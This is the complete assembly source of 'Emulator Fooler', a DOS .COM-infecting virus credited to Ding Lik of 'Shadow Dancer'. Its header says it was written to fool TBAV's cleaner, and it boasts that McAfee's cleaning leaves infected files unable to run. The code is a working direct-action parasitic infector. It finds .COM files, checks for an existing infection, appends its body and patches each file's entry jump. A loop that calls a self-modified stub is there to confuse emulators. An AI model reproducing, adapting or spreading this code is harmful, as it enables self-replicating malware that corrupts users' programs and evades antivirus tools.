;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Emulator Fooler by Ding Lik                                             ³
;³                                                                         ³
;³ This virus was written to fool TBAV's TBCLEAN. The virus itself doesn't ³
;³ do anything special, it just a direct action parasitic .COM infector.   ³
;³ Pretty lame huh?! In serveral tests, I find that McAfee detect it as    ³
;³ Univ.GR5 virus. McAfee offers to clean it. Try it! It'll make cleaned   ³
;³ files unable to run.                                                    ³
;³                                                                         ³
;³ Regards,                                                                ³
;³                                                                         ³
;³ Ding Lik (ding_lik99@email.com)                                         ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
	Ideal
	Model	Tiny
	CodeSeg
	Radix	16
	StartUpCode

	db 0E9, 0, 0
VirStart:
	call $ + 3

ThisOfs:
	pop bp
	sub bp, Offset ThisOfs

	mov si, 100
	mov [byte 100], 58
	mov [word 101], 0E0FF
	mov cx, 1000

Confuse:
	push cx
	call si
	pop cx
	loop Confuse

	lea si, [bp + OrgByte]
	mov di, 100
	lodsw
	stosw
	lodsb
	stosb

	mov ah, 4E
	lea dx, [bp + Victim]
	mov cx, 7

FuckAll:
	int 21
	jc QuitVir
	jmp ChkVictim

QuitVir:
	inc sp
	inc sp
	mov bp, sp
	mov [Word bp], 100
	ret

OrgByte	db 90
	Int 20

Victim	db '*.COM', 0
Virus	db '[Emulator Fooler]', 0
Author	db 'Ding Lik of Shadow Dancer', 0

ChkVictim:
	mov ax, 3D02
	mov dx, 9E
	int 21
	xchg ax, bx
	jc QuitVir

	mov ah, 3F
	mov cx, 3
	lea dx, [bp + OrgByte]
	int 21

	cmp [bp + OrgByte], 0E9
	jnz Infect
	mov dx, [Word bp + OrgByte + 1]
	xor cx, cx
	mov ax, 4201
	int 21

	mov ah, 3F
	mov cx, OrgByte - VirStart
	lea dx, [bp + EndVir]
	int 21

	xchg ax, cx
	push dx
	pop si
	lea di, [bp + VirStart]
	rep cmpsb
	jz Close
	jmp Infect

Close:
	mov ah, 3E
	int 21
	mov ah, 4F
	jmp FuckAll

Infect:
	mov ax, 4202
	cwd
	xor cx, cx
	int 21

	push ax

	mov ah, 40
	mov cx, EndVir - VirStart
	lea dx, [bp + VirStart]
	int 21

	pop ax

	sub ax, 3
	mov [Byte bp + EndVir], 0E9
	mov [Word bp + EndVir + 1], ax

	mov ax, 4200
	xor cx, cx
	cwd
	int 21

	mov ah, 40
	mov cx, 3
	lea dx, [bp + EndVir]
	int 21
	jmp Close

EndVir	= $
	End